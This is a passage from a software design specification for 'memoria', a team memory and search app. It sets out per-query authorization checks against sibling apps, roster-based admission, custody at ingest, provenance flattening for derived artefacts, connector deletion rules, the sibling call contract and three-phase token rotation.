1255 disagrees with what memoria received, **has failed and authorises
1256 nothing** — this is gate 7's rule about enumeration diffs, and it binds
1257 here for the same reason: a truncated announce is no information, not
1258 an assertion of absence.
12593. **On a completed re-announce, an item memoria holds and the announce
1260 omits is retired.** Retirement removes the chunks from the index and
1261 tombstones the rows, which makes it a deletion in memoria's own store
1262 and therefore subject to §7.4's durable tombstone log. It is not a
1263 purge on `AHEAD`: nothing is retired on the S2 answer, and nothing is
1264 retired by an announce that failed. This is the only thing that ever
1265 removes a phantom chunk, which is why the announce has to be able to
1266 say "complete" and mean it.
12674. **The announce's revision replaces memoria's, in either direction.**
1268 The sibling's log is the authority on its own items, so an item
1269 announced at revision 5 against memoria's 7 becomes revision 5: memoria
1270 refetches the body at 5 via S3 and replaces its chunks. There is no
1271 numeric comparison and no "keep the newer one" — see the opaque-token
1272 rule above. This is decision 8's provenance rule doing its ordinary
1273 job: the source moved to a different revision, so the derived rows go.
1274
1275Gate 27 holds all four, including the case where the announce fails
1276mid-way and nothing is retired.
1277
1278**`UNKNOWN` is synthesised by the caller, not only returned by the
1279sibling.** A sibling that never answers cannot return anything, so the
1280client maps every non-answer to `UNKNOWN`: timeout, non-2xx, malformed
1281body, an item missing from the response, a duplicate item, a short
1282response to a 256-item request, and any result value the client does not
1283recognise. **The decoder is total** — every requested
1284pair gets exactly one result or the whole call is `UNKNOWN`. Without that
1285rule a missing entry falls through to omission, which is the silent path
1286again. Gate 6.
1287
1288**S2 subsumes per-item membership, and nothing else.** Draft 3 said it
1289"subsumes membership" without the qualifier and draft 4 put it back: there
1290is no membership *synchronisation* and no membership table, because a
1291non-member's items all come back `NOT_VISIBLE` from the app that knows,
1292and §1.2's four unreconciled tables are simply not consulted.
1293
1294**But "is P a member of this team?" is a real and separate question**, and
1295since suite ruling 4 it is the home's roster that answers it, not `S7` and
1296not a sibling (§4.3). It is asked once at the door, about the team rather
1297than about an item. The two must not be run together: authorization is per
1298asker, per query, **never cached at any scope**; admission is a pulled copy
1299refreshed by epoch. Collapsing them is what `S7`'s per-session cache did,
1300and separating them is the whole point of the roster split.
1301
1302**Revision matters.** A document that stays team-visible but whose newer
1303revision removed a sentence must not have its stale chunk spoken: a
1304revision behind the sibling's current one answers **`STALE`**, and memoria
1305refetches rather than omitting.
1306
1307**A source can be *behind* the revision we hold, and that is not `STALE`.**
1308`STALE` means the sibling has moved *past* the revision memoria asked
1309about — an ingestion delay, and memoria refetches. The opposite happens
1310too: a sibling restored from backup can sit *behind* it, so the app of
1311record does not recognise the revision at all. **That answers `AHEAD`, and
1312withholds loudly while the source re-announces.** Never `VISIBLE`, which
1313would authorise a revision nobody can vouch for; never `NOT_VISIBLE`, the
1314silent value and the mistake `STALE` was added to fix; and not `UNKNOWN`
1315either, which reports that nobody answered when the app of record answered
1316precisely about its own log. Three wrong homes, which is why the values are
1317five and not four.
1318
1319*This paragraph said `UNKNOWN` until 2026-09-06, citing suite §4.3 and
1320GPT-6's finding 11 — correctly, for revision 7. Revision 10 replaces that
1321ruling with `AHEAD`, so the citation stood while the thing it cited had
1322moved. Until the module ships the fifth constant the CODE maps this case
1323to `UNKNOWN`; the spec no longer pretends that is the design.*
1324
1325**Everything below `AHEAD` in this section is specified against the
1326five-value design and cannot be built until the module ships it** — gate 6,
1327§8.1's third breaker, §5.2's step 2 and §7.4's post-restore reconciliation
1328all name a value the pinned `suite.Authorization` does not carry. That is
1329one dependency with one date, not five open questions.
1330
1331**Batch cap: 256 pairs per call**, multiple calls permitted. Draft 1's 64
1332was tied to answer top-k and did not survive paginated search or
1333derived-artefact expansion (§5.2). The number's reason: one page of
1334search results (50) plus the provenance fan-out of the derived artefacts
1335on it — measured before the constant is committed.
1336
1337### 4.2 memoria-owned content: memoria is the app of record
1338
1339Notion, Drive, forwarded mail and uploads have no sibling to ask. For
1340this content **memoria is the authority** — not a copy, so there is
1341nothing to drift from.
1342
1343**What that authority consists of, precisely, because draft 3 said
1344"memoria's own members and grants" and memoria has neither.** There is no
1345members table (decision 11, §2) and there are no per-person grants:
1346holding grants would be an authorization model, which §4.3 says memoria
1347does not have. The test is two facts and nothing else:
1348
13491. **the asker is admitted** — §4.3's answer, which since suite
1350 ruling 4 is the home's roster in suite shape and the owners list
1351 in lone shape. A statement about the *team*, not about this
1352 document; and
13532. **the document is present in memoria and not deleted.**
1354
1355So memoria-owned content is team-wide by construction. Anything a
1356connector or an upload puts in is offered to everyone the siblings call a
1357member of this team, and the only revocation is deletion. That is a
1358strong thing to say of a Drive folder, which is why §3.6's README says it
1359in those words, why §3.5 makes least-privilege connector credentials a
1360requirement rather than a nicety, and why §4.3's predicate has to mean
1361member rather than guest: fact 1 is the whole of the door.
1362
1363This is the honest resolution of gap 3, and it costs something that must
1364be said plainly rather than implied: **revoking a Notion page from the
1365integration does not revoke it in memoria.** The content was published
1366into memoria and memoria now owns it; removing it is an act performed *in
1367memoria*. §3.6's claim does not pretend otherwise.
1368
1369**Amended 2026-09-05 by the Notion ingest design** (§3 of
1370`2026-09-05-notion-ingest-design.md`). This paragraph used to end "§5.1's
1371enumeration diff is a convenience that eventually notices upstream
1372deletions, not an authorization mechanism". It no longer does, because
1373the first connector built under it does not delete on absence at all.
1374The reason is that memoria is being adopted as a *replacement* for
1375Notion, not a mirror of it: under a replacement, archiving a page
1376upstream after migrating it is the intended workflow, and a
1377diff-and-delete connector reads that as "forget it" — deleting from the
1378app of record the document the migration existed to preserve. A
1379convenience that eventually notices deletions is the wrong convenience
1380when deletion upstream is the goal.
1381
1382The cost is real and is carried rather than buried: a page deleted
1383upstream *because it should not have been shared* stays indexed and
1384readable by every admitted person, with no notice. Connectors therefore
1385record `last_seen_at` per item on every enumeration, so "no longer in
1386the source" is answerable later without a migration. Keeping the
1387documents is a decision; being unable to list them is not licensed by
1388it.
1389
1390### 4.3 Admission comes from the roster
1391
1392#### Optional Home sign-in for an existing local account (2026-09-10)
1393
1394Home authentication can be enabled while admission still uses the existing
1395`MEMORIA_OWNERS` list. This is an authentication adapter for lone shape, not
1396roster activation. An opaque Home subject gains no membership or content access
1397until the person independently proves their existing local account and confirms
1398its connection to Home. Shared `home/connect` handles fresh proofs, browser
1399binding and assertion replay protection.
1400
1401Memoria has no numeric people table. The adapter therefore allocates a stable
1402local identity ID only at the explicit linking entry, after a fresh verified
1403magic-link or Keymail session. Its address is encrypted with a distinct,
1404row-bound purpose; a keyed fingerprint provides the lookup. Ordinary assertion
1405handling and account lookups never allocate identities. These bindings are
1406per-person records in addition to the existing encrypted breaker tallies. They
1407contain no content, membership or grants. Current admission is rechecked at each
1408lookup and protected request; removing an address from configured owners also
1409refuses existing Home sessions.
1410
1411Home sessions carry the opaque Home subject and a distinct method. The adapter
1412resolves that subject through the confirmed binding to the original verified
1413local address. Existing owner checks and S2 `SubjectAddress` questions use that
1414address; nothing rewrites documents, provenance, source coordinates or custody.
1415Disabling Home refuses remaining Home sessions instead of interpreting their
1416subjects as email addresses.
1417
1418The optional configuration is `MEMORIA_HOME_ISSUER`,
1419`MEMORIA_HOME_CONSUMER_ID`, `MEMORIA_HOME_KEYS_BASE64` and
1420`MEMORIA_HOME_DEK_BASE64`. Partial configuration refuses startup. The last value
1421is a dedicated exchange key, separate from the content DEK.
1422
1423The additional surface is `GET /signin/local`, `GET /signed-out`,
1424`GET /auth/start`, `POST /auth/assertion`, `GET /auth/finish`,
1425`GET /auth/local/complete`, and GET/POST pairs at `/account/home` and
1426`/account/home/confirm`. Only the assertion callback accepts an exact configured
1427cross-origin issuer; all other mutations retain CSRF protection. The normal
1428`/signin` starts Home handoff when enabled. Local email verification remains
1429available for first-time connection, including explicit `force=1` fallback.
1430Sign-out revokes the app session, then (home/connect 01166fc, shared chrome
1431§9.5) hands the same POST on to `{issuer}/signout` with a 307, which ends the
1432Oficina session too and returns the browser to `/signed-out`.
1433`HOME_DIRECTORY_ORIGIN` (optional, validated with the rest) names the hub
1434directory, where the app switcher's "All apps" goes.
1435
1436
1437**Admission is the home's roster — suite §5.3, ruling 4.** memoria holds no
1438members table of its own and asks no sibling. In **suite shape** it pulls
1439the roster (suite call 8, consumer token, roster epoch in every response)
1440and admits from it. The epoch rides the home's own responses — calls 2, 5
1441and 8 and the assertion — and **sibling calls carry none, deliberately**
1442(suite §5.3), so nothing in S1, S2 or S3 grows a membership field. In
1443**lone shape**, where there is no home, admission is the owners list,
1444exactly as slice 0 does today.
1445
1446Draft 2 had memoria keep its own members table, and the draft-2 review
1447showed why that fails: S2 protected sibling content, but admission and
1448§4.2's memoria-owned content both used memoria's own list, so a person
1449removed everywhere else could still sign in and read the team's Notion
1450pages, Drive files, forwarded mail and uploads. That failure is real and
1451the roster fixes it. What draft 3 got wrong was the *replacement*.
1452
1453**What this replaces, and why it was broken.** Decision 11 admitted a
1454person if **at least one sibling answered `MEMBER`** to a call `S7`. Two
1455things were wrong with it. The small one: it cached membership for the life
1456of a session, and ruling 3 now says authorization is never cached at any
1457scope — the word "session" in the doctrine's first draft came from *this
1458rule*, and folding admission into authorization is precisely the
1459conflation the roster split exists to remove. **Custody and admission are
1460person-less or roster-shaped; authorization is per asker, per query, never
1461cached. They are three different things and S7 blurred two of them.**
1462
1463The large one: **`MEMBER` has no value for a guest.** A guest is not on any
1464roster, so "at least one sibling says MEMBER" is undefined for exactly the
1465person the rule most needed to exclude — and memoria's own §13 carried
1466that as an open question it could not answer from inside decision 11.
1467Under ruling 4 it answers itself: guests are never on the roster. **S7 is
1468retired.**
1469
1470Three consequences worth keeping:
1471
1472- **No roster, no admission.** Fail closed: an unreachable home means
1473 nobody new signs in, which is an outage, where the alternative is
1474 admitting someone nobody can vouch for. In lone shape the owners list is
1475 local and this cannot arise.
1476- **A stale roster stops team standing for everybody, sessions included.**
1477 Within the TTL the pulled copy is enforced as it stands. Past the TTL
1478 with no successful fetch it is stale, and team standing stops being
1479 established for anyone — **including people already in a session** — so
1480 S2 answers `UNKNOWN` and the page withholds loudly. An unfamiliar roster
1481 generation holds the stale copy until an owner confirms it. Suite §5.3,
1482 gate 5.
1483 *This spec said the opposite until 2026-09-05: "a session already minted
1484 survives an outage for its TTL". That is the doctrine's revision-3
1485 position, which it retracted — on a 30-day sliding session it is an
1486 outage-length revocation tail, the very thing the paragraph claimed to
1487 reject, and it is the same tail §13 had been carrying as an open defect
1488 of S7.*
1489- **memoria still holds no authorization model.** It holds no answer of its
1490 own; it reads a roster and relays it, and §4.1 governs every passage
1491 after the door.
1492
1493**Draft 4's hardest finding survives the call it was about, and it is why
1494the roster is the right answer rather than merely the doctrine's.** It
1495found that `MEMBER` had to mean *member of this team* and not *known to
1496this app*, because Sheets §8.2 and Docs §8.2 both describe sharing as
1497membership — so a person granted a single sheet is a member there, in
1498those specs' own words. Under the old rule that person was admitted to
1499memoria, and §4.2 then handed them every Notion page, Drive file,
1500forwarded mail and upload the team holds. **One shared sheet bought the
1501whole corpus.**
1502
1503Asking a sibling could never cleanly separate the two questions, because
1504the sibling only knows its own. A roster held by the home answers *member
1505of this team* and nothing else, which is the property draft 4 was reaching
1506for and could not get from S7.
1507
1508**Slice 0 has no home and no siblings, so admission is the owners list
1509and nothing else**, and the spec should say so rather than leave a reader
1510to infer a table. Until a home exists, the only people admitted are the
1511platform-configured owners the app refuses to start without. That list
1512admits operators, it is not a roster, and **it does not grow**: when a home
1513exists, everyone who is not an owner comes from the pulled roster (suite
1514call 8). Extending the owners list one person at a time would be the
1515members table decision 11 rejected, arriving under another name.
1516
1517*This paragraph said "slice 0 has no S7" and "everyone who is not an owner
1518comes from S7" until 2026-09-06 — inside the section that retires S7,
1519reintroduced by the merge from a branch written before ruling 4. §1.10's
1520rule is to grep the retired thing by name; this is what it catches.*
1521
1522No guests, no anonymous link viewers — and after this section, no guest
1523of a *sibling* either. Admission is not authorization: an admitted person
1524still sees only what §4.1 and §4.2 allow.
1525
1526The suite attribution page (`GET /help/open-source`, 2026-09-11) used
1527this same session gate until the shared chrome (estilo spec/shared-chrome
1528§8.4, 2026-09-30), which has the sign-in page link to it while signed
1529out. It is now **public**: it serves embedded software notices and
1530nothing about the team — no content, no passage counts, no document
1531names. Signed in, it still shows the viewer's own bar and account menu;
1532signed out, the bar's Sign in. It creates no session. Its stylesheet is
1533a public static asset, like the other stylesheets.
1534
1535---
1536
1537## 5. Ingestion
1538
1539**Ingestion is an authorisation event, never a sweep.**
1540
1541**From a sibling (§6):** the change feed offers items the sibling marks
1542team-visible. That mark is the *custody* gate of decision 3 — it bounds
1543what memoria holds. It is not the authorization gate; §4.1 is.
1544
1545**What "team-visible" means is suite ruling 15's, and it is narrower than
1546it sounds.** An item sits on one of three rungs — *private*, *granted* to
1547named people, or *team* — and **only the `team` rung is team-visible**. So
1548custody keys on the rung and **never on a read-only link**: a link
1549capability makes an item readable by whoever holds the URL, which is not
1550the same as the team being able to find it. Treating a link as
1551team-visible would turn a capability held by whoever was sent it into a
1552row every team member reaches by search — which is the specific mistake
1553ruling 15 rejects, and it would arrive here, at ingest, where memoria
1554decides what to hold.
1555
1556Two consequences memoria must not paper over. A `granted` item is outside
1557custody **even when the asker holds the grant**, which is why §4.1's
1558intersection sits at the sibling and why a person can lose a passage here
1559while the document stays open to them at the source. And an item that
1560moves from `team` to `granted` leaves custody: it arrives as `gone` in S1,
1561indistinguishable from deletion by §4.2's design, and memoria deletes
1562rather than downgrades.
1563
1564**From outside the suite:** an admin configures a connector, and the
1565sharing act at the far end is the publish.
1566
1567### 5.1 What a connector must supply
1568
1569A stable external id, a change feed (or an enumeration cheap enough to
1570diff), a mapping onto memoria's custody rule, an extractor, and a delete
1571signal.
1572
1573| Source | Id | Feed | Custody maps | Extract | Delete | Verdict |
1574|---|---|---|---|---|---|---|
1575| Oficina siblings | ✅ | ✅ | ✅ team-visible mark | ✅ | ✅ tombstone | Full; §4.1 governs reads |
1576| Google Drive | ✅ | ✅ changes API | ❌ per-file | ✅ | ✅ | Publish-gated; §4.2 governs |
1577| Notion | ✅ | ✅ traversal from shared roots | ❌ | ✅ | ❌ **none, and none used** | Publish-gated; §4.2 |
1578| Email | ⚠️ Message-ID | ✅ UID / history id | ❌ **fundamentally** | ✅ | ⚠️ Gmail only | Forward-only; §4.2 |
1579| Files | content hash | ❌ | ❌ | ✅ | ❌ | Upload only; §4.2 |
1580
1581**Only the siblings supply all five**, and only they get §4.1's live
1582re-check. Everything else is memoria-owned by §4.2.
1583
1584**Email cannot be swept.** A thread's audience is the three people on it;
1585the team is twenty. Mail enters by forward-or-label only.
1586
1587**An enumeration diff must distinguish an authoritative empty result from
1588a failure** before deleting anything. A timed-out, rate-limited,
1589partially-paginated or credential-expired enumeration returns *no
1590information*, not *no documents*; treating the second as the first purges
1591the corpus silently. Gate 7.
1592
1593**Amended 2026-09-05, two changes from building the Notion connector.**
1594
1595*Notion's feed.* This table said `⚠️ last_edited_time polling`, which
1596assumed `/v1/search` could enumerate a workspace. Notion documents that
1597it cannot: search "is not guaranteed to return everything", and **no
1598field in the response says the result was partial**. An enumerator built
1599on it reports a complete import while missing pages — this design's worst
1600failure shape, reachable with no error anywhere. Connectors enumerate by
1601*traversal* from the roots the integration was explicitly shared with
1602(search is documented as complete for those alone), which is
1603cursor-verifiable and yields ancestry as a side effect.
1604
1605*Notion's delete.* Now "none, and none used" — see the amendment in §4.2.
1606Gate 7's rule above stands unchanged for connectors that *do* delete;
1607Notion's connector satisfies it trivially by having no path that deletes,
1608which is a stronger position than a completeness predicate that has to be
1609right every time.
1610
1611### 5.2 Deletion, and the hard case
1612
1613Chunks and vectors are rows under memoria's DEK; they go on the tombstone
1614or the next diff. §7.4 covers the snapshot ordering that makes a deletion
1615survive a restore.
1616
1617The hard case is derived content, because a fact outlives its source.
1618
1619**Ruled (decision 8): every derived artefact carries provenance as
1620`(source_id, revision)` pairs, and is deleted or regenerated when any of
1621them stops resolving *or moves to a new revision*.**
1622
1623**And it records the model that produced it, beside that provenance**
1624(decision 4, widened 2026-09-05). Not for attribution's sake: an artefact
1625is *regenerated* when a source moves, so the model that made the row a
1626reader is looking at is often not the one that made it first. Without the
1627producing model stored alongside, a regenerated artefact silently inherits
1628the name of its predecessor — a naming requirement that reports the wrong
1629name is worse than none, because it is believed. Draft 1's rule was
1630id-level, which left "the Q3 target is X" standing after the source
1631changed to Y — provenance that resolves and is wrong.
1632
1633**A derived artefact expands to its full provenance before §4.1 runs**,
1634and **every source must pass, under whichever authority owns it.** One
1635failure withholds the whole artefact. Without this a summary is a
1636laundering channel for a single downgraded input.
1637
1638Draft 2 said this and specified it only for siblings, which the draft-2
1639review caught: S2 exists nowhere else, so an external source had no check
1640at all and a *mixed* artefact had no rule for combining two authorities.
1641The full algorithm:
1642
16431. **Partition the provenance** by owner — sibling `(id, revision)`
1644 pairs on one side, memoria-owned `(id, revision)` pairs on the other.
1645 There is no third class, and a derived artefact's id is not a
1646 provenance entry; that is what the flattening rule below is for.
1647
1648 **Both sides carry a revision, and draft 4's did not.** Draft 4 wrote
1649 "memoria-owned root *ids*", which reads as a small simplification and
1650 is decision 8 half-applied: the decision is "provenance or deletion, at
1651 `(id, revision)` granularity … *or whose source changed*", and an id
1652 alone cannot say that a source changed. A summary built from revision 1
1653 of an uploaded contract was served unchanged after someone uploaded
1654 revision 2, citing the upload correctly and describing the wrong
1655 document — the id-level rule decision 8 was written to replace,
1656 surviving on the half of the corpus nobody had checked. So a
1657 memoria-owned document carries a revision, bumped on every re-ingest,
1658 re-upload and connector update, and its roots record it.
16592. **Sibling pairs go to S2**, batched, cap 256 per call, as many calls as
1660 the provenance needs. `VISIBLE` for every pair or the artefact is
1661 withheld. `STALE` on any pair means the artefact is out of date, not
1662 forbidden: regenerate it, do not speak it. `AHEAD` on any pair means a
1663 source has been restored behind memoria (§4.1): withhold, re-announce,
1664 delete nothing.
16653. **memoria-owned pairs are checked against §4.2's two facts, plus the
1666 revision** — the asker is admitted, the document is present and not
1667 deleted, **and the recorded revision is the document's current one.**
1668 A superseded revision is not a denial and is not a permissions
1669 failure: it is decision 8's "the source changed", so the artefact is
1670 **regenerated, not spoken** — the same treatment `STALE` gets on the
1671 sibling side in step 2, for the same reason. The two facts are the
1672 whole *authorization* test, because for this content memoria is the
1673 authority rather than a copy and holds no grants of its own to
1674 consult; the revision check is a currency test sitting beside it, and
1675 collapsing the two is what let draft 4 drop it.
1676 **Note what that makes load-bearing:** the only door in front of every
1677 memoria-owned source is §4.3's admission, which is why §4.3's
1678 predicate has to mean member and not guest, and why its cache has a
1679 number.
16804. **A mixed artefact needs both to pass.** There is no precedence rule
1681 and no fallback: authorities are ANDed, because an artefact is a claim
1682 about all its sources at once.
16835. **Provenance that cannot be partitioned** — a source whose owner is
1684 unrecorded — withholds the artefact and is logged as a defect. A
1685 derived artefact that cannot say where it came from is decision 8's
1686 unresolvable-provenance case and gets deleted, not served.
1687
1688**Provenance is flattened to roots at generation time, because it is not
1689otherwise transitive.** Draft 3's algorithm partitioned by owner into two
1690classes, and a derived artefact is memoria-owned — so an artefact built
1691from another artefact landed in step 3, whose entire test is presence in
1692memoria. The first artefact's sibling sources never reached S2. Two hops
1693launder exactly what one hop is written to stop: summarise a Sheets
1694document, then summarise the summary, and the second summary is speakable
1695to a person Sheets would refuse. Nothing in draft 3 forbade the second
1696hop, and nothing would have noticed it.
1697
1698So an artefact carries **two lists, and only one of them authorizes**:
1699
1700- **`roots`** — the `(id, revision)` pairs, sibling and memoria-owned
1701 alike, that the artefact
1702 ultimately rests on, resolved at generation time by substituting each
1703 contributing artefact's own `roots` for its id. This is the list §4.1
1704 runs against, and by construction it holds no artefact ids, so step 1's
1705 partition is total for the same reason §4.1's decoder is.
1706- **`built_from`** — the ids of the artefacts this one was generated
1707 from. It exists so that regenerating or deleting an intermediate
1708 propagates downstream, and **it is never consulted for authorization**.
1709 Keeping the two apart is the point: one list answers "may this person
1710 see it", the other answers "is it still current", and draft 3 had a
1711 single list trying to be both.
1712
1713Three rules fall out, and each is an assertion rather than an intention:
1714
1715- **An artefact id appearing in `roots` is a defect**, not a case to
1716 handle. It means flattening did not run, and it withholds the artefact
1717 under step 5.
1718- **An artefact whose sources cannot all be flattened is not generated.**
1719 If a contributing artefact's own `roots` do not fully resolve there is
1720 nothing to inherit, and generating anyway produces an artefact whose
1721 provenance is a guess wearing a list's clothes.
1722- **A cycle in `built_from` withholds every artefact on it and is logged
1723 as a defect.** Nothing in this design creates one, which is precisely
1724 why nothing would catch it.
1725
1726Flattening is also what makes §4.1's 256-pair cap load-bearing rather
1727than decorative: an artefact three hops deep fans out to every root of
1728every ancestor, and that fan-out is the number §4.1 says to measure
1729before committing the constant.
1730
1731**Where derived artefacts live:** memoria's own store, sealed like any
1732chunk, indexed and searchable — and therefore subject to §4.1 through
1733their provenance, never on their own account. They exist only with AI on,
1734and their regeneration is a model call whose cost §8.6 counts.
1735
1736**memoria never fine-tunes**, because weights are the one copy that
1737cannot be forgotten.
1738
1739### 5.3 What "continuously evolving memory" honestly means
1740
1741Re-index on change — a search index, honestly named. Derived notes
1742regenerated when sources change — a materialised view with provenance.
1743Updated weights — never.
1744
1745**The smallest honest version is the first two.** It is a cache over
1746sources. For sibling content it forgets when the sources do, because
1747§4.1 asks them. **For memoria-owned content it forgets when someone tells
1748it to** (§4.2); draft 1's claim that it "forgets exactly when the sources
1749do" was false for that half.
1750
1751---
1752
1753## 6. The sibling contract
1754
1755Decision 1 makes cross-app pull legal. Nothing yet makes it possible:
1756every home contract call is instance→home or person→home, home §6
1757rejected a re-announce sweep because it "has no channel to reach
1758instances", and `aud` binds every assertion to one host.
1759
1760### 6.1 The calls
1761
1762All are memoria → sibling, all pulls. **Push is rejected on three
1763grounds:** a sibling outbox drains on wake and share mutation, not on a
1764ticker (Sheets §9.1.1), adequate for a hint and useless for content; push
1765would wake a hibernating memoria on every keystroke in three apps; and it
1766inverts custody, since each sibling would hold a memoria token and
1767memoria would grow an inbound surface it does not have.
1768
1769memoria pulls on its own wake and on each question. It runs no timers.
1770
1771| # | Call | Notes |
1772|---|---|---|
1773| S1 | Change feed | Cursor is an opaque position in the sibling's event log, issued by the sibling, stored per consumer. **A revision is opaque too:** memoria tests revisions for equality and never orders them (§4.1). A row is `(item_id, revision, gone, touched_at)` — **no title, no content, no visibility flag** — so it passes the plaintext-grep gate unaided. Retention is a **per-consumer TTL** (home §9.1: "any 'prune when all consumers have caught up' is unbounded in a hibernating fleet"). Past TTL, or a restore-rewound cursor, takes a full re-announce. |
1774| S1a | Re-announce | The complete form of S1, and §4.1 makes it load-bearing rather than a recovery convenience. Opens with a marker, lists **every** item the sibling currently holds as team-visible, closes with a marker carrying the item count. Paginated; the cursor it issues is valid only once the closing marker is read. **An announce that does not close, or whose count disagrees with what memoria received, has failed and authorises no retirement** — gate 7's rule. |
1775| S2 | Authorization re-check | `(subject, [(item_id, revision)]) → VISIBLE / NOT_VISIBLE / STALE / UNKNOWN` per item, **plus `AHEAD` once the contract carries it** — see §4.1, which records that memoria wants a fifth value and `suite.Authorization` has four. Asker is a **typed subject** with its kind on the wire (suite §3); **the sibling intersects its answer with custody** (suite §4.3) — §4.1 explains why memoria depends on that and cannot do it itself. Total decoder, cap 256 pairs. **Never cached, at any scope** (ruling 3). |
1776| S3 | Content fetch | **`(id, revision)`, no person** → plaintext body over TLS into memoria's RAM only. The sibling answers only for items that are **team-visible** — the custody predicate, not the grants join — and **404s, never 403s**. This is an ingest call and there is no asker on the ingest path. |
1777| ~~S4~~ | Tombstone | *a feed row, and no number is reserved for it* (suite §6). `gone` covers deletion and departure from team-visibility, indistinguishably. Numbering a non-call is how a table starts reading as a contract. |
1778| ~~S5~~ | Consumer expiry | *no call, and no number.* TTL expiry is the decommission verb. |
1779| S6 | Aggregate | `(subject, fn, [(sheet, tab, row, col, revision)…]) → {value, display, format_code}` or `STALE(cell)` / `NOT_VISIBLE` / `UNKNOWN` / `NON_NUMERIC(cell)`. **Units are not S6's job**: `MIXED_UNITS` and `UNIT_UNKNOWN` are memoria's verdicts, reached before the call, because Sheets cannot see the header words memoria indexed (§8.7). Cap 64 cells. Typed subject and the custody intersection, as S2. Never cached. **Specified, not built** — suite §12 step 4. |
1780| ~~S7~~ | ~~Team membership~~ | **RETIRED 2026-09-05.** It existed because there was no roster of record; suite call 8 is that record, and admission is §4.3's. Draft 4's hardest work on it — that `MEMBER` must mean "on this team's roster" and never "known to this app", with `INDETERMINATE` for a sibling that cannot tell them apart — is the property the roster has by construction, and §4.3 carries the reasoning. Its 15-minute cache was the conflation of admission with authorization that ruling 3 now forbids outright. |
1781
1782**Draft 1's S1 row carried a `visible-to-team` field, and that was a
1783leak.** With it, a `visible=false, gone=false` row tells memoria that a
1784guest-only item exists, at what revision, and when it was touched —
1785exactly what S3's "404s, never 403s" was designed to hide, and unnamed in
1786the leak list. Removed: departure from team-visibility is simply `gone`.
1787
1788**"A stale index costs a miss, never a leak" — narrowed twice.** Draft 1
1789stated it unconditionally and it was false for retraction-by-edit. Draft 2
1790fixed that with a revision on S2 but mapped the failure to `NOT_VISIBLE`,
1791which is silently omitted — so it cost a *silent* miss, which is the
1792failure it was supposed to prevent. It holds now only because S2 carries
1793the revision **and** answers `STALE` distinctly. All three clauses travel
1794together or the sentence is false.
1795
1796**S3 takes no person, and the reasoning went wrong twice before landing
1797here.**
1798
1799Draft 2's S3 took `(id, revision)` and *claimed* the sibling "re-runs its
1800grants join at fetch time". The draft-2 review correctly called that
1801impossible: no asker, no grants join.
1802
1803Draft 3 fixed it by adding `person_ref`. That was the wrong fix, and a
1804review of the built code found two consequences. **There is no person on
1805the ingest path** — memoria pulls on its own wake, and the warm-up, the
1806rebuild and derived-artefact regeneration have no asker either — so the
1807call that fills the corpus could not be made. And a per-person S3
1808*succeeds* for individually-granted rows, because Sheets §4.5's join is
1809"rows this team can see, **plus rows granted to me individually**" — which
1810would pull into memoria's store exactly the content §6.4 forbids and §3.3
1811claims it cannot hold.
1812
1813**The error was collapsing two rules decision 3 keeps apart.** Custody
1814bounds what memoria may *hold*: team-visible only, no person involved,
1815and that is S3's predicate. Authorization decides what a person may
1816*read*: per asker, per query, and that is S2's, at render time. Draft 2's
1817S3 had the right signature and a false comment; the fix was to delete the
1818comment, not to add a person to the call.
1819
1820So: **S3 is custody-scoped and person-less. S2 is the only per-person
1821gate, and nothing is spoken without it.**
1822
1823**The definitions above are no longer memoria's to state.** Suite ruling 7:
1824one contract, one Go module, fixtures as the interface — every app imports
1825`amadan.net/oficina/suite`, serves its half, and passes the conformance
1826suite in CI. An app spec cites the doctrine and never restates it, because
1827each spec restating the contract in its own words is exactly what drifted.
1828So **S1, S2, S3 and S6 are the module's**, and what survives here is
1829memoria's own reasoning about them: why S3 carries no person, why the four
1830S2 values are four, what a slow sibling costs. The wire shapes are the
1831module's and the fixtures are the interface.
1832
1833**S6 is cited as a specification, not as a fixture, and that is
1834deliberate.** The module on `main` is S1, S2 and S3; there is no S6 fixture
1835to conform to yet. Suite §12 **step 4** builds it — after memoria's slice 1
1836and before slice 2 — so §8.7's numeric path cites a call that is scheduled
1837rather than one that exists, and picks up the fixture when it lands.
1838Nothing else waits on it: **slice 1 needs S1, S2, S3 and §4.1 only.**
1839
1840*Suite revision 5 left S6 in the contract table with no step at all, which
1841let a numbered call read as a finished one; revision 6 gave it a step and
1842put it before slice 1, implying a dependency that does not exist; revision
18437 placed it at step 4 and said so in the step. Recorded because "cite S6"
1844meant three different things in one evening.*
1845
1846### 6.2 Authentication, and rotation
1847
1848**Per-consumer bearer tokens, minted by the operator drain, delivered as
1849platform config at provisioning.** Home §9 already works this way. The
1850drain mints memoria's tokens and writes each sibling's `consumers` row.
1851The home never sees a sibling token.
1852
1853Three alternatives rejected: **the home issues the token** (breaks home
1854§7's "the home holds no provisioning credential", and breaches home §2.2 the
1855moment it decides which origin gets one); **a team-scoped shared secret**
1856(cannot rotate per consumer); **mutual TLS** (TLS terminates at Carloku's
1857router under a wildcard certificate per app zone, home §4, so the app
1858never sees a client certificate).
1859
1860**Rotation is a three-phase handover, and draft 1 specified none.** A
1861single-token row cannot rotate without a window in which one side is
1862wrong: update the sibling first and the old token breaks; update memoria
1863first and it sends one the sibling will not accept. So a `consumers` row
1864holds **up to two hashed tokens, each with an epoch**, and the drain:
1865
18661. **Expands acceptance** — writes the new token alongside the old at
1867 every sibling. Both accepted.
18682. **Switches the sender** — delivers the new token to memoria as
1869 platform config.
18703. **Contracts acceptance** — retires the old token at every sibling,
1871 only after memoria is observed using the new one.
1872
1873Each phase is idempotent and re-runnable, so a partial delivery across
1874three siblings is recovered by repeating the phase. Emergency revocation
1875skips to phase 3 and accepts the outage.
1876
1877**The mutable `(cursor, TTL, epoch)` state is created lazily by the
1878sibling on first contact.** Platform config delivers the token, not the
1879row: home §6 is explicit that no channel exists to push one.
1880
1881### 6.3 What stops team X reaching team Y
1882
1883Team identity is the hostname label, per home ruling 16:
1884`<team>.<app>.oficina.works`.
1885
1886**Two barriers, not the three draft 1 claimed.** Both reviewers caught
1887this and they were right:
1888
18891. **The sibling's `consumers` row** — a credential *and* an origin
1890 allowlist, but one row read two ways. A bearer token is the origin
1891 claim; nothing verifies origin independently. One drain mis-write
1892 defeats both. Counting them separately overstated the defence.
18932. **memoria's client refuses any host whose `<team>` label differs from
1894 its own** — genuinely independent, test-enforced against a fixture of
1895 hostile hostnames, **and it must refuse to follow redirects**, which
1896 draft 1's fixture would not have exercised.
1897
1898**Barrier 2 is not a boundary against the §3.3 threat model.** An
1899attacker with code execution on memoria bypasses memoria's own client
1900trivially. It is a real guard against accidental cross-team dialling and
1901against a mis-provisioned host, and that is what it is claimed as.
1902
1903Same-team membership is *provenance*, not a runtime query: the drain
1904provisioned the hosts together. **The home is not on this path at all**,
